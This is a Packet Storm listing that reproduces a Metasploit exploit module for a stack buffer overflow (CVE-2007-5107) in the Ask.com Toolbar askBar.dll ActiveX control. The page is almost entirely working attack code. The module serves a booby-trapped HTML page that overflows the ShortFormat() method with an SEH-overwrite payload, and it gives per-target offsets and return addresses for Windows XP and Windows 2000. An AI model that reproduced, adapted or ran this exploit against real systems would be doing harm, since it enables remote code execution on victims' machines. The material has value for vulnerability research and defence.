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Ask.com Toolbar askBar.dll ActiveX Control Buffer Overflow

🗓️ 26 Nov 2009 00:00:00Reported by MCType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 32 Views

Ask.com Toolbar ActiveX Control Buffer Overflow vulnerabilit

Related
Code
`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::HttpServer::HTML  
include Msf::Exploit::Remote::Seh  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Ask.com Toolbar askBar.dll ActiveX Control Buffer Overflow',  
'Description' => %q{  
This module exploits a stack overflow in Ask.com Toolbar 4.0.2.53.  
An attacker may be able to excute arbitrary code by sending an overly  
long string to the "ShortFormat()" method in askbar.dll.  
},  
'License' => MSF_LICENSE,  
'Author' => [ 'MC' ],   
'Version' => '$Revision$',  
'References' =>   
[  
[ 'CVE', '2007-5107' ],  
[ 'OSVDB', '37735' ],  
[ 'URL', 'http://wslabi.com/wabisabilabi/showBidInfo.do?code=ZD-00000148' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 800,  
'BadChars' => "\x00\x09\x0a\x0d'\\",  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Windows XP SP0/SP1 Pro English', { 'Offset' => 2876, 'Ret' => 0x71aa32ad } ],  
[ 'Windows 2000 Pro English ALL', { 'Offset' => 1716, 'Ret' => 0x75022ac4 } ],  
],  
'DisclosureDate' => 'Sep 24 2007',  
'DefaultTarget' => 0))  
end  
  
def autofilter  
false  
end  
  
def check_dependencies  
use_zlib  
end  
  
def on_request_uri(cli, request)  
# Re-generate the payload  
return if ((p = regenerate_payload(cli)) == nil)  
  
# Randomize some things  
vname = rand_text_alpha(rand(100) + 1)  
strname = rand_text_alpha(rand(100) + 1)  
  
# Set the exploit buffer   
filler = rand_text_alpha(target['Offset'])  
seh = generate_seh_payload(target.ret)  
sploit = filler + seh + rand_text_alpha(payload.encoded.length)   
  
# Build out the message  
content = %Q|  
<html>  
<object classid='clsid:5A074B2B-F830-49DE-A31B-5BB9D7F6B407' id='#{vname}'></object>  
<script language='javascript'>  
#{strname} = new String('#{sploit}');  
#{vname}.ShortFormat = #{strname}  
</script>  
</html>  
|  
  
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")  
  
# Transmit the response to the client  
send_response_html(cli, content)  
  
# Handle the payload  
handler(cli)  
end  
  
end  
`

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